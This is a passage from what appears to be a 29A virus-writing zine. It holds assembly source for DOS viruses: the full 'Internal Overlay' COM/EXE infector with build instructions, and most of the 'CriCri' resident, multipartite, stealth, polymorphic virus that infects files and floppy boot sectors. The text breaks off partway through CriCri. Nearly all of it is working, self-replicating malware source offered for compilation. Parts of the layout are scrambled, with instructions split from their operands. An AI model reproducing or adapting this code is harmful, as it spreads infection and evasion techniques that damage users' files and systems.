lseek_end:
mov ret
word ptr es:[di+15h],ax
; Read pointer=file ; length (EOF)
; **´ Open the host we're being executed from Ã***************************** open_host:
mov int
ah,62h 21h
push mov mov mov xor
es ds,bx bx,word ptr ds:[2ch] es,bx di,di
mov mov repnz jnz
al,1 cx,0ffffh scasb emergency
xor scasb
al,al
push pop
es ds es
mov mov call xchg ret
ah,3dh dx,di int_21h bx,ax
; Get PSP address
; DS:2ch=PSP segment
; ; ; ; ;
Look for 01h (the mark which sepparates the path from the name of the file that is being executed)
; Open the host
; Pass handle to BX ; and return
; **´ Emergency routine... data lost! Ã************************************* emergency:
push pop
cs ds
; CS=DS
mov lea int
ah,9 dx,windows 21h
; Show the message... ; This programs requires ; Microsoft Windows
mov int
ax,4c01h 21h
; Errorlevel=01 :)
; **´ Data area Ã*********************************************************** sector
db
200h dup (?)
; The long sector
control_block
dd dw dd db
? ? ? ';)'
; Control block
windows
db db
'This program requires Microsoft Windows.' 0dh,0ah,'$'
action infecting
db db
? ?
; Reading or writing?
com_header header_store
db db
0e9h,?,? 3 dup (?)
; The COM header ; Temporal header store
torero_end
label
byte
garbage
torero
ends end
torero_start
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ
Internal Overlay by Tcp/29A
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Here you have a virus i wrote some time ago... an old but still pretty interesting virus (anyway, ain't so old... one year or less :) Its peculiarity consists in that it infects COM and EXE files without modifying their headers! ;) In this way, it doesn't get detected under a very large number of CRC checkers which just compare the first bytes and the length of the files whose info it stores. Internal Overlay (IntOv for friends :) does this by inserting an overlay loader at the entry point of the files it infects, and the corresponding overlay -the virus- at the end of the file, appended to the infected file in the traditional way :) It infects, as i told before, COM and EXE files on execution (4b00h) and opening (3dh), and it doesn't infect COMMAND.COM or EXEs with relocation items in the entry point, unless this item is located in offset 7 (PkLited files have an item there) ;) Compiling instructions: tasm /m intov.asm tlink intov.obj exe2bin intov.exe intov.com
assume cs:code,ds:code,ss:code,es:code org 0 code segment _BYTES = ((end_vir-start)+(ov_part-start)+15) _PARAG = _BYTES/16 start: delta_ofs
id_mark
reloc_pkl
equ word ptr $+1 mov si,100h ; ; equ word ptr $+1 mov cx,'<>' ; ; equ word ptr $+1 mov bp,0000 ; mov es,ds:[2ch] ; xor ax,ax xor di,di repnz scasw ; ; inc di inc di ; push cs push ds push es push di push ds mov ax,ds dec ax
Delta offset (precalc) In dropper, 100h Length to search for, it will be the id mark: '<>'... why not? :) For PkLite's relocation es-> environment
Search for two consecutive zeros Searching file name es:di -> file name
mov es,ax
; MCB access ; ES-> MCB
mov bx,es:[0003] sub bx,_PARAG+1 pop es mov ah,4ah int 21h ; Free memory. If resident, doesn't return! mov ah,48h mov bx,_PARAG int 21h ; Want some memory mov es,ax push cs pop ds mov cx,offset(ov_part) push si xor di,di rep movsb ; Move it to reserved area pop si mov ax,offset(new_mcb) push es push ax retf ; Jump to reserved area new_mcb:
long_high long_low
push ds pop es ; es:= old cs pop dx pop ds mov ax,3d00h int 21h ; Open the file xchg bx,ax ; bx:=handle push cs pop ds equ word ptr $+1 mov cx,0000 equ word ptr $+1 mov dx,offset(ov_part) ; For the dropper mov ax,4200h int 21h ; Get set in file ; Point to 'overlay' mov cx,offset(end_vir) mov ah,3fh mov dx,offset(ov_part) int 21h ; Read the 'overlay' mov ah,3eh ; We're up to here in the Entry Point
;Ú**********************************************************************¿ ;³ Now, the virus overlay part ³ ;À**********************************************************************Ù ov_part: int 21h ; Close file push si push si pop di mov si,offset(original) mov cx,offset(ov_part) rep movsb ; Restore original code in memory pop si push cs pop ax dec ax
mov mov mov int mov mov mov mov int
es,ax ; es-> MCB word ptr es:[0001],8 ; O.S. block ax,3521h ; Get and change int 21h 21h ofs_int21,bx seg_int21,es ah,25h dx,offset(int_21) 21h
exec_host: pop ds push si xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor bp,bp xor si,si xor di,di push ds pop es retf c_com
db db db db
; PSP
; jump to host
'COM' 'EXE' 'exe' 'com'
c_21: pushf call dword ptr cs:[ofs_int21] ret int_24:
mov al,3 iret db '[Internal Overlay, Tcp / 29A]'
int_21: cmp ah,4ah ; Can be our call jne f_func push ax push di mov ax,'<>' sub ax,cx shr di,1 sub ax,di inc ax ; If 0 -> our call pop di pop ax jnz f_func pop cx ; We're not interested in offset pop di ; Interested in code segment pop cx ; We're not interested in flags pop dx pop ds ; ds:dx -> file name mov ax,3d00h call c_21 ; Open file xchg ax,bx ; bx:=handle mov ds,di mov cx,[si+long_high] ; Restore data mov dx,[si+long_low] add dx,offset(original)-offset(ov_part)
adc cx,0 mov ax,4200h int 21h mov mov mov int mov int add jmp
; Postion on overlay's portion that ; keeps original code
dx,si ah,3fh cx,offset(ov_part) 21h ; We read ah,3eh 21h ; We close the file [si+1],bp ; Reallocate Pklite's item (add 0 otherwise) exec_host
f_func: push bx push cx push dx push bp push ds push es push si push di push ax mov di,dx mov al,0 mov cx,666h repnz scasb sub di,4 pop ax push ax cmp ax,4b00h je is_exec cmp ah,3dh je check_ext
;-) ; filename.ext ; ^
; file execution? ; open-file?
end_21:
ofs_int21 seg_int21
pop ax pop di pop si pop es pop ds pop bp pop dx pop cx pop bx db 0eah dw ? dw ?
; jmp far
check_ext:
loop_ext:
next_ext:
push ds push cs pop ds mov si,offset(c_com) mov cx,4 push si ; check valid extensions push di cmpsw jne next_ext cmpsb pop di pop si je ext_ok
ext_ok: is_exec:
add si,3 loop loop_ext pop ds or cx,cx jz end_21 pop ds cmp byte ptr ds:[di-2],'D' ; Don't infect command.com jz end_21 cmp byte ptr ds:[di-2],'d' jz end_21 mov ax,3524h ; Read and prepare int 24h int 21h push es push bx mov ah,25h push ax ; 2524h push ds push dx push cs pop ds mov dx,offset(int_24) int 21h pop dx pop ds mov ax,4300h int 21h ; Get attribs push cx push ds push dx xor cx,cx mov ax,4301h ; Reset all attribs int 21h jb rest_atribs mov ax,3d02h call c_21 ; Open the file I/O push cs pop ds xchg ax,bx ; bx:=handle mov ax,5700h int 21h ; Get time/date push dx push cx mov ah,3fh mov dx,offset(header) mov cx,1Ch int 21h ; Read file header mov ax,val_ip mov delta_ofs,ax xchg bp,ax ; bp:=val_ip cmp signature,'ZM' ; EXE? je exe ; Assume it's a com cmp byte ptr signature,0e9h ; jmp? jne rest_hour mov ax,word ptr signature+1 ; Offset jmp add ax,3 ; Calculate file's offset mov delta_ofs,ax add delta_ofs,100h xor dx,dx xor cx,cx jz exe&com
rest_hour:
rest_atribs:
mov pop pop int mov int mov pop pop pop int pop pop pop int jmp
ax,5701h cx dx 21h ah,3eh 21h ax,4301h dx ds cx 21h ax dx ds 21h end_21
; Restore date/time
; We close ; Restore attribs ; ds:dx -> file name
; ax:=2524h
exe: mov ax,header_size mov cx,16 mul cx ; ax:=header length push ax mov ax,val_cs imul cx add ax,bp ; bp:=val_ip adc dx,0 ; dx:ax := cs:ip inside load module mov cx,relo_items ; Number of reallocation items jcxz items_ok push cx push ax push dx xor cx,cx ; Get on reallocation table mov dx,ofs_reloc mov ax,4200h int 21h pop dx pop ax read_items:
process_item:
push ax push dx mov ah,3fh mov dx,offset(original) mov cx,20*4 ; Read 20 reallocaci¢n items int 21h mov si,dx mov di,-20*4 pop dx pop ax pop cx push bx mov bx,[si] cmpsw ; inc si, inc si, inc di, inc di mov bp,[si] cmpsw ; inc si, inc si, inc di, inc di sub bx,ax sbb bp,dx jnz next_item cmp bx,offset(ov_part) ; Is it part of code? jnbe next_item cmp bx,7 ; PkLite's code? pop bx jnz bad_item
next_item:
push bx dec cx pop bx jcxz items_ok or di,di ; We need read more items? push cx jnz process_item jz read_items
items_ok: exe&com:
no_inf:
bad_item: alr_inf:
pop cx ; cx:= header length add ax,cx adc dx,0 ; dx:ax := cs:ip offset in file push ax push dx mov cx,dx xchg ax,dx ; = mov dx,ax mov ax,4200h int 21h ; get on the entry point mov ah,3fh mov cx,offset(ov_part) mov dx,offset(original) int 21h ; Read original code sub ax,cx ; Have enough space? jc no_inf cmp pages,'<>' ; Id mark is in offset 4 stc je no_inf mov ax,4202h ; Go to he end of file xor cx,cx cwd int 21h mov long_high,dx ; Save file-offset of code mov long_low,ax mov ah,40h ; 'Stick' to the file mov cx,offset(end_vir) mov dx,offset(ov_part) int 21h pop cx pop dx jc alr_inf mov reloc_pkl,0 mov ax,4200h int 21h ; Return to cs:ip mov ah,40h mov cx,offset(ov_part) cwd int 21h ; Write new code on entry-point push cx pop cx jmp rest_hour
end_vir: original: header: signature image_size pages relo_items header_size mim_mem max_mem stack_seg
dw dw dw dw dw dw dw dw
20cdh ? ? ? ? ? ? ?
stack_ofs checksum val_ip val_cs ofs_reloc overlays
dw dw dw dw dw dw
code ends end start
? ? ? ? ? ?
;---------------------------------------------------------------------------;CRI-CRI ViRuS (CoDe by Griyo/29A) ;---------------------------------------------------------------------------;ResiDenT: ;WheN an inFecTed FiLe is Run thE viRus becaMes ResidEnt inTo a UMB ;memoRy bloCk (if aVaLiabLe) or in conVenTionaL memOry. Then iT ;hOOks int13h and int21h. ;InfEcTion (MulTiPartite): ;CriCri wRitEs itSeLf to The End of .Com and .Exe fiLes that aRe eXecUtEd ;or cLosEd aNd to The BooT SectOr of fLoppY diSks tHat are accEsed. During ;fiLe iNfeCtion the viRus UseS LoW LeveL SysTem fiLe tabLe and HookS ;int03h and int24h. ;CriCri doEs not inFect the fiLes thAt havE diGit or V chaRactErs in ;thEir namEs As weLL as FiLes with toDays DatE and SomE antiVirUs ;eXecuTablEs. InfEcted fiLes Have 62 seCondS in tHeir tiMe sTamp. ;SteALth (fiLe and booT LeveL): ;CriCri reTurNs cLean CopiEs oF inFected fiLes tHat are acceSed and hide ;theiR tRue siZe. The viRus alSo reTurns the OriGinaL boot sEctoR of ;fLoppy disKs tHat aRe read. The viRus disabLes his sTeaLth mechaNism ;when some comPressiOn uttiLities are beinG eXecuted. ;PoLymorPhic: ;The viRus is polymorPHic in fiLes and bOOt secToRs. GenerAted PolymorPHic ;deCrypToR conTains conDitiOnaL and AbsoluTe jumPs as WeLL as subRoutiNes ;and inteRRupt caLLs. ;---------------------------------------------------------------------------com segment para 'CODE' assume cs:com,ds:com,es:com,ss:com ;---------------------------------------------------------------------------;Virus size in bytes lenvir equ virus_copy-virus_entry ;Virus size in para para_size equ ((lenvir*02h)+0Fh)/10h ;Virus size in sectors sector_size equ ((lenvir+1FFh)/200h) ;Decryptor size in bytes decryptor equ (virus_body-virus_entry) ;Boot code size in bytes boot_size equ (boot_end-boot_code) ;---------------------------------------------------------------------------;Create .COM launcher: TASM cricri.asm TLINK /t cricri.obj org 100h ;---------------------------------------------------------------------------;Virus entry point ;---------------------------------------------------------------------------virus_entry: ;Store bp for launcher sub bp,bp ;Buffer were virus build polymorphic decryptor db 0280h dup (90h) virus_body: ;Save segment registers push ds push es ;Check if running from boot or file
mov al,byte ptr cs:[prog_type][bp] cmp al,"B" je in_boot_sector jmp go_ahead ;---------------------------------------------------------------------------;Virus working from boot sector ;---------------------------------------------------------------------------in_boot_sector: ;Reset DOS loaded flag mov byte ptr cs:[dos_flag][bp],00h ;Clear dos running switch mov byte ptr cs:[running_sw],"R" ;Get int 13h vector mov al,13h call get_int ;Save old int 13h mov word ptr cs:[old13h_off][bp],bx mov word ptr cs:[old13h_seg][bp],es ;Calculate our segment position mov ax,cs sub ax,10h mov ds,ax ;Hook int 13h mov al,13h mov dx,offset my_int13h call set_int ;Restore segment registers pop es pop ds ;Reboot system int 19h ;---------------------------------------------------------------------------;Wait until dos is loaded ;---------------------------------------------------------------------------wait_dos: ;Hook int 21h at installation check test_1: cmp ah,01h jne test_2 cmp si,00BADh jne test_2 cmp di,0FACEh je dos_installed ;Hook int 21h if we detect a write operation test_2: cmp ah,03h je dos_installed ret ;Hook int 21h to our handler dos_installed: call push_all ;Set dos loaded flag mov byte ptr cs:[dos_flag],0FFh ;Check dos version mov ah,30h int 21h cmp al,04h jb exit_wait ;Save old int 21h vector mov al,21h call get_int mov word ptr cs:[old21h_off],bx mov word ptr cs:[old21h_seg],es
;Get our segment push cs pop ds ;Point int 21h to our handler mov dx,offset my_int21h mov al,21h call set_int exit_wait: call pop_all ret ;---------------------------------------------------------------------------;Running from an executable ;---------------------------------------------------------------------------go_ahead: ;Installation check mov si,00BADh mov di,0FACEh mov ah,01h mov dl,80h int 13h jc not_installed cmp si,0DEADh jne not_installed cmp di,0BABEh jne not_installed jmp control_end not_installed: ;Check dos version mov ah,30h int 21h cmp al,04h jae check_date jmp control_end check_date: ;Get current date mov ah,2Ah int 21h ;Save today's date mov byte ptr cs:[today][bp],dl ;Activation circunstance: 4th of June cmp dh,06h jne no_activation cmp dl,04h jne no_activation jmp print_credits no_activation: ;Set dos loaded flag xor al,al dec al mov byte ptr cs:[dos_flag][bp],al ;Clear dos running switch mov byte ptr cs:[running_sw],"R" ;Save old int 13h mov al,13h call get_int mov word ptr cs:[old13h_seg][bp],es mov word ptr cs:[old13h_off][bp],bx ;Save old int 03h mov al,03h call get_int mov word ptr cs:[old03h_seg][bp],es mov word ptr cs:[old03h_off][bp],bx ;Save old int 21h
mov al,21h call get_int mov word ptr cs:[old21h_seg][bp],es mov word ptr cs:[old21h_off][bp],bx ;Redirect traced int 21h to int 03h lds dx,dword ptr cs:[old21h][bp] mov al,03h call set_int ;---------------------------------------------------------------------------;Memory allocation ;---------------------------------------------------------------------------sub di,di ;Get pointer to dos info block mov ah,52h int 03h ;Get pointer to the dos buffers structure lds si,es:[bx+12h] ;Get address of first umb mov ax,ds:[si+1Fh] cmp ax,0FFFFh je no_umbs ;Follow the chain nextumb: mov ds,ax ;Check for free umb's cmp word ptr ds:[di+01h],di jnz no_free_umb ;Check if there is enought size cmp word ptr ds:[di+03h],para_size+01h ja handle_mcb no_free_umb: ;Check if this is the last umb cmp byte ptr ds:[di+00h],"Z" je no_umbs ;Jump to next umb in the chain mov ax,ds inc ax add ax,word ptr ds:[di+03h] mov ds,ax jmp short nextumb ;Allocate memory from last mcb no_umbs: ;Get pointer to dos info block mov ah,52h int 03h ;Get pointer to first mcb mov ax,es dec ax mov es,ax add bx,12 lds di,dword ptr es:[bx+00h] ;Follow the mcb chain nextmcb: ;Check if this is the last mcb cmp byte ptr ds:[di+00h],"Z" je ok_mcb ;Next mcb mov ax,ds inc ax add ax,word ptr ds:[di+03h] mov ds,ax jmp short nextmcb ok_mcb:
;Check mcb size cmp word ptr ds:[di+03h],para_size+4000h ja ok_mcb_size jmp control_end ok_mcb_size: ;Sub top of memory in psp sub word ptr ds:[di+12h],para_size+01h handle_mcb: ;Sub virus size and mcb size sub word ptr ds:[di+03h],para_size+01h ;Clear the last mcb field mov byte ptr ds:[di+00h],"M" ;Jump to next mcb mov ax,ds inc ax add ax,word ptr ds:[di+03h] mov es,ax inc ax push ax ;Mark mcb as last in the chain mov byte ptr es:[di+00h],"Z" ;Set dos as owner mov word ptr es:[di+01h],0008h ;Set mcb size mov word ptr es:[di+03h],para_size ;Mark UMB as system code mov di,0008h mov ax,"CS" cld stosw xor ax,ax stosw stosw stosw ;Copy to memory pop es mov ax,cs mov ds,ax sub di,di mov si,bp add si,0100h mov cx,lenvir cld rep movsb ;Save virus segment mov ax,es sub ax,10h mov ds,ax ;Hook int 13h mov dx,offset my_int13h mov al,13h call set_int ;Hook int 21h mov dx,offset my_int21h mov al,21h call set_int control_end: ;Restore old int 03h lds dx,dword ptr cs:[old03h][bp] mov al,03h call set_int ;Return to host cmp byte ptr cs:[prog_type][bp],"E"
je exit_exe ;---------------------------------------------------------------------------;Exit from .COM ;---------------------------------------------------------------------------exit_com: ;Restore first three bytes mov ax,cs mov es,ax mov ds,ax mov si,offset old_header add si,bp mov di,0100h mov cx,0003h cld rep movsb ;Restore segment registers pop es pop ds ;Check if launcher execution cmp bp,0000h je endprog ;Get control back to host push cs mov ax,0100h push ax call zero_all retf ;Exit program if launcher execution endprog: mov ax,4C00h int 21h ;---------------------------------------------------------------------------;Exit from .EXE ;---------------------------------------------------------------------------exit_exe: ;Restore segment registers pop es pop ds ;Get control back to host mov bx,word ptr cs:[file_buffer+16h][bp] mov ax,cs sub ax,bx mov dx,ax add ax,word ptr cs:[old_header+16h][bp] add dx,word ptr cs:[old_header+0Eh][bp] mov bx,word ptr cs:[old_header+14h][bp] mov word ptr cs:[exeret][bp],bx mov word ptr cs:[exeret+02h][bp],ax mov ax,word ptr cs:[old_header+10h][bp] mov word ptr cs:[fix1][bp],dx mov word ptr cs:[fix2][bp],ax call zero_all db 0B8h fix1: dw 0000h cli mov ss,ax db 0BCh fix2: dw 0000h sti db 0EAh exeret:
dw 0000h dw 0000h ;---------------------------------------------------------------------------;Virus int 13h handler ;---------------------------------------------------------------------------my_int13h: cmp byte ptr cs:[dos_flag],00h jne ok_dos_flag call wait_dos ok_dos_flag: call push_all ;Installation check cmp ah,01h jnz not_check cmp si,00BADh jne my13h_exit cmp di,0FACEh jne my13h_exit call pop_all mov si,0DEADh mov di,0BABEh stc cmc retf 2 not_check: ;Do not use our int 13h handler if we are using our int 21h handler cmp byte ptr cs:[running_sw],"R" jne my13h_exit ;Check for read operations cmp ah,02h jne short my13h_exit ;Side 0 of drive a: or dx,dx jnz short my13h_exit ;Track 0, sector 1 cmp cx,0001h je infect_floppy ;Get control back to old int 13h my13h_exit: call pop_all jmp dword ptr cs:[old13h] ;---------------------------------------------------------------------------;Infect floppy on drive a: ;---------------------------------------------------------------------------infect_floppy: ;Perform read operation pushf call dword ptr cs:[old13h] jnc boot_read_ok call pop_all stc retf 2 boot_read_ok: ;Check for JMP SHORT at the beginning cmp byte ptr es:[bx+00h],0EBh jne exit_disk ;Check if infected call get_position cmp word ptr es:[di+boot_marker-boot_code],"RC" jne not_infected jmp stealth_boot not_infected: ;Check for mbr marker also in floppy
cmp word ptr es:[bx+01FEh],0AA55h je floppy_infection exit_disk: call pop_all stc cmc retf 2 ;Calculate track and head for floppy floppy_infection: ;Get sectors per track mov ax,word ptr es:[bx+18h] mov cx,ax ;Cut one track for virus body sub word ptr es:[bx+13h],ax mov ax,word ptr es:[bx+13h] xor dx,dx ;Divide total sectors by sectors per track div cx xor dx,dx ;Get heads parameter mov cx,word ptr es:[bx+1Ah] push cx ;Divide tracks by heads div cx push ax xchg ah,al mov cl,06h shl al,cl or al,01h ;Save virus body position in floopy mov word ptr cs:[load_cx],ax pop ax pop cx xor dx,dx div cx mov byte ptr cs:[load_dh],dl ;Use floppy root directory for old boot sector mov cx,000Eh mov dx,0100h ;Write original boot sector mov ax,0301h pushf call dword ptr cs:[old13h] jc exit13h_inf ok_original: ;Move virus loader into boot sector push cs pop ds mov si,offset boot_code mov cx,boot_size cld rep movsb write_boot: ;Reset disk controler xor ax,ax pushf call dword ptr cs:[old13h] ;************old13h] ;Write loader mov ax,0301h xor dx,dx mov cx,0001h pushf call dword ptr cs:[old13h] ;+++++++++++old13h]
jnc ok_loader exit13h_inf: call pop_all stc cmc retf 2 ok_loader: ;Set boot flag mov byte ptr cs:[prog_type],"B" ;Perform encryption call do_encrypt push cs pop es ;Write virus body mov cx,word ptr cs:[load_cx] mov dh,byte ptr cs:[load_dh] mov bx,offset virus_copy mov ax,0300h+sector_size pushf call dword ptr cs:[old13h] ;+++++++++++++old13h] ;Hide changes made to boot sector stealth_boot: call pop_all mov cl,03h mov al,01h mov cl,0Eh mov dh,01h jmp dword ptr cs:[old13h] ;---------------------------------------------------------------------------;Code inserted into boot sector ;---------------------------------------------------------------------------boot_code: cli xor ax,ax mov ss,ax mov es,ax mov ds,ax mov si,7C00h mov sp,si sti ;Allocate some BIOS memory sub word ptr ds:[0413h],(lenvir/512)+1 mov ax,word ptr ds:[0413h] ;Calculate residence address mov cl,06h shl ax,cl mov es,ax ;Reset disk xor ax,ax int 13h ;Get position in disk ;mov cx,XXXXh db 0B9h load_cx dw 0000h ;mov dh,XXh db 0B6h load_dh db 00h ;Prepare for reading virus body try_again: mov ax,0200h+sector_size ;Read at es:bx xor bx,bx ;Read virus body into allocated memory
int 13h jc error_init ;Continue execution on virus body push es push bx retf ;Error during virus initialization error_init: int 18h ;---------------------------------------------------------------------------;Infection marker ;---------------------------------------------------------------------------boot_marker db "CR" ;End of boot code boot_end: ;---------------------------------------------------------------------------;Virus int 21h ;---------------------------------------------------------------------------my_int21h: call push_all ;Set int 21h running switch mov byte ptr cs:[running_sw],"F" ;Anti-heuristic function number examination xor ax,0FFFFh mov word ptr cs:[dos_function],ax ;Save old int 24h mov al,24h call get_int mov word ptr cs:[old24h_seg],es mov word ptr cs:[old24h_off],bx ;Hook int 24h to a do-nothing handler push cs pop ds mov dx,offset my_int24h mov al,24h call set_int ;Save old int 03h mov al,03h call get_int mov word ptr cs:[old03h_seg],es mov word ptr cs:[old03h_off],bx ;Hook int 03h to original int 21h lds dx,dword ptr cs:[old21h] mov al,03h call set_int ;Check for special files mov ah,51h ;62h? int 03h dec bx mov ds,bx mov ax,word ptr ds:[0008h] mov byte ptr cs:[stealth_sw],00h ;Check if arj is running cmp ax,"RA" je disable_stealth ;Check for pkzip utils cmp ax,"KP" je disable_stealth ;Check for lha cmp ax,"HL" je disable_stealth ;Check for backup cmp ax,"AB"
je disable_stealth jmp no_running disable_stealth: mov byte ptr cs:[stealth_sw],0FFh no_running: ;Restore and re-save all regs call pop_all call push_all ;Put function number into bx mov bx,word ptr cs:[dos_function] ;---------------------------------------------------------------------------;Infection functions ;---------------------------------------------------------------------------infection_00: ;Exec function cmp bx,(4B00h xor 0FFFFh) jne infection_01 jmp dos_exec infection_01: ;Close file (Handle) cmp bh,(3Eh xor 0FFh) jne stealth_dos jmp dos_close ;---------------------------------------------------------------------------;Stealth functions ;---------------------------------------------------------------------------stealth_dos: ;Check if stealth is disabled cmp byte ptr cs:[stealth_sw],0FFh je m21h_exit ;Open file (Handle) cmp bh,(3Dh xor 0FFh) jne stealth_00 jmp dos_open stealth_00: ;Extended open cmp bh,(6Ch xor 0FFh) jne stealth_01 jmp dos_open stealth_01: ;Directory stealth works with function Findfirst (fcb) cmp bh,(11h xor 0FFh) jne stealth_02 jmp ff_fcb stealth_02: ;Directory stealth works also with function Findnext(fcb) cmp bh,(12h xor 0FFh) jne stealth_03 jmp ff_fcb stealth_03: ;Search stealth works with Findfirst (handle) cmp bh,(4Eh xor 0FFh) jne stealth_04 jmp ff_handle stealth_04: ;Search stealth works also with Findnext (handle) cmp bh,(4Fh xor 0FFh) jne stealth_05 jmp ff_handle stealth_05: ;Read stealth cmp bh,(3Fh xor 0FFh) jne stealth_06
jmp dos_read stealth_06: ;Disinfect if debuggers exec cmp bx,(4B01h xor 0FFFFh) jne stealth_07 jmp dos_load_exec stealth_07: ;Disinfect if file write cmp bh,(40h xor 0FFh) jne stealth_08 jmp dos_write stealth_08: ;Get file date/time cmp bx,(5700h xor 0FFFFh) jne stealth_09 jmp dos_get_time stealth_09: ;Set file date/time cmp bx,(5701h xor 0FFFFh) jne m21h_exit jmp dos_set_time ;Get control back to dos m21h_exit: ;Free int 03h and int 24h call unhook_ints call pop_all jmp dword ptr cs:[old21h] ;---------------------------------------------------------------------------;Directory stealth with functions 11h and 12h (fcb) ;---------------------------------------------------------------------------ff_fcb: call pop_all ;Call DOS service int 03h ;Save all regs call push_all ;Check for errors cmp al,255 je nofound_fcb ;Get current PSP mov ah,51h int 03h ;Check if call comes from DOS mov es,bx cmp bx,es:[16h] jne nofound_fcb mov bx,dx mov al,ds:[bx+00h] push ax ;Get DTA mov ah,2Fh int 03h pop ax inc al jnz fcb_ok add bx,07h fcb_ok: ;Check if infected mov ax,word ptr es:[bx+17h] and al,1Fh cmp al,1Fh jne nofound_fcb ;Restore seconds
and byte ptr es:[bx+17h],0E0h ;Restore original file size sub word ptr es:[bx+1Dh],lenvir sbb word ptr es:[bx+1Fh],0000h nofound_fcb: ;Restore some registers and return call unhook_ints call pop_all iret ;---------------------------------------------------------------------------;Search stealth with functions 4Eh and 4Fh (handle) ;---------------------------------------------------------------------------ff_handle: call pop_all ;Call DOS service int 03h jnc ffhok call unhook_ints stc retf 2 ffhok: ;Save result call push_all ;Get DTA mov ah,2Fh int 03h ;Check if infected mov ax,word ptr es:[bx+16h] and al,1Fh cmp al,1Fh jne nofound_handle ;Restore seconds field and byte ptr es:[bx+16h],0E0h ;Restore original size sub word ptr es:[bx+1Ah],lenvir sbb word ptr es:[bx+1Ch],0000h nofound_handle: ;Restore some registers and exit call unhook_ints call pop_all stc cmc retf 2 ;---------------------------------------------------------------------------;Load exec ;---------------------------------------------------------------------------dos_load_exec: ;Open file for read-only mov ax,3D00h int 03h jnc loaded jmp m21h_exit loaded: xchg bx,ax jmp do_disinfect ;---------------------------------------------------------------------------;Write file ;---------------------------------------------------------------------------dos_write: call pop_all call push_all do_disinfect: ;Get sft address in es:di
call get_sft jc bad_operation ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah je clear_header bad_operation: jmp load_error clear_header: ;Save and set file open mode (read/write) mov cx,0002h xchg cx,word ptr es:[di+02h] push cx ;Save and set file attribute xor al,al xchg al,byte ptr es:[di+04h] push ax ;Save and set file pointer position push word ptr es:[di+15h] push word ptr es:[di+17h] ;Get file true size if write operation cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) jne no_size_fix ;Add virus size to file size add word ptr es:[di+11h],lenvir adc word ptr es:[di+13h],0000h no_size_fix: ;Point to old header in file call seek_end sub word ptr es:[di+15h],0019h+01h sbb word ptr es:[di+17h],0000h ;Read old header and encryption key push cs pop ds mov ah,3Fh mov cx,0019h+01h mov dx,offset virus_copy int 03h jc exit_disin ;Decrypt header mov cx,0019h push dx pop si mov al,byte ptr cs:[si+19h] restore_header: xor byte ptr cs:[si+00h],al inc si loop restore_header ;Write old header call seek_begin mov dx,offset virus_copy mov ah,40h mov cx,0019h-01h int 03h ;Truncate file call seek_end sub word ptr es:[di+15h],lenvir sbb word ptr es:[di+17h],0000h xor cx,cx mov ah,40h int 03h
exit_disin: ;Restore file pointer position pop word ptr es:[di+17h] pop word ptr es:[di+15h] ;Restore file attribute pop ax mov byte ptr es:[di+04h],al ;Restore file open mode pop word ptr es:[di+02h] ;Do not set file date and file time on closing or byte ptr es:[di+06h],40h ;Clear seconds field and byte ptr es:[di+0Dh],0E0h load_error: ;Check if write function cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) je not_load ;Close file mov ah,3Eh int 03h not_load: jmp m21h_exit ;---------------------------------------------------------------------------;Get file date/time ;---------------------------------------------------------------------------dos_get_time: call pop_all ;Call function int 03h jnc ok_get_time ;Exit if error call unhook_ints stc retf 2 ok_get_time: call push_all ;Check if file is already infected mov al,cl mov ah,1Fh and al,ah cmp al,ah jne no_get_time call pop_all and cl,0E0h jmp short exit_get_time no_get_time: call pop_all exit_get_time: call unhook_ints stc cmc retf 2 ;---------------------------------------------------------------------------;Set file date/time ;---------------------------------------------------------------------------dos_set_time: call pop_all call push_all ;Get address of sft entry call get_sft jc no_set_time ;Check if file is already infected mov al,byte ptr es:[di+0Dh]
mov ah,1Fh and al,ah cmp al,ah je ok_set_time no_set_time: ;Exit if not infected or error jmp m21h_exit ok_set_time: ;Perform time change but restore our marker call pop_all or cl,1Fh call push_all jmp m21h_exit ;---------------------------------------------------------------------------;Open file ;---------------------------------------------------------------------------dos_open: ;Call dos function call pop_all int 03h jnc do_open open_fail: call unhook_ints stc retf 2 do_open: call push_all ;Get sft for file handle xchg bx,ax call get_sft jc no_changes ;Check if file is infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah jne no_changes ;If infected stealth true size sub word ptr es:[di+11h],lenvir sbb word ptr es:[di+13h],0000h no_changes: call unhook_ints call pop_all stc cmc retf 2 ;---------------------------------------------------------------------------;Read file ;---------------------------------------------------------------------------dos_read: ;Restore function entry regs call pop_all call push_all ;Duplicate handle mov ah,45h int 03h jc no_read_stealth xchg bx,ax push ax ;Close new handle in order to update directory entry mov ah,3Eh int 03h pop bx
;Get address of sft entry call get_sft jc no_read_stealth ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah jne no_read_stealth ;Check and save current offset in file mov ax,word ptr es:[di+15h] cmp ax,0019h jae no_read_stealth cmp word ptr es:[di+17h],0000h jne no_read_stealth mov word ptr cs:[file_offset],ax call pop_all ;Save address of read buffer mov word ptr cs:[read_off],dx mov word ptr cs:[read_seg],ds ;Perform read operation int 03h jnc check_read ;Error during file read call unhook_ints stc retf 2 no_read_stealth: ;Exit if no read stealth jmp m21h_exit check_read: call push_all call get_sft ;Save offset position push word ptr es:[di+15h] push word ptr es:[di+17h] ;Save file size push word ptr es:[di+11h] push word ptr es:[di+13h] ;Add virus size to file size add word ptr es:[di+11h],lenvir adc word ptr es:[di+13h],0000h ;Point to old header in file call seek_end sub word ptr es:[di+15h],0019h+01h sbb word ptr es:[di+17h],0000h ;Read old header and encryption key push cs pop ds mov ah,3Fh mov cx,0019h+01h mov dx,offset virus_copy int 03h jc exit_read ;Decrypt header mov cx,0019h push dx pop si mov al,byte ptr cs:[si+19h] decrypt_header: xor byte ptr cs:[si+00h],al inc si loop decrypt_header
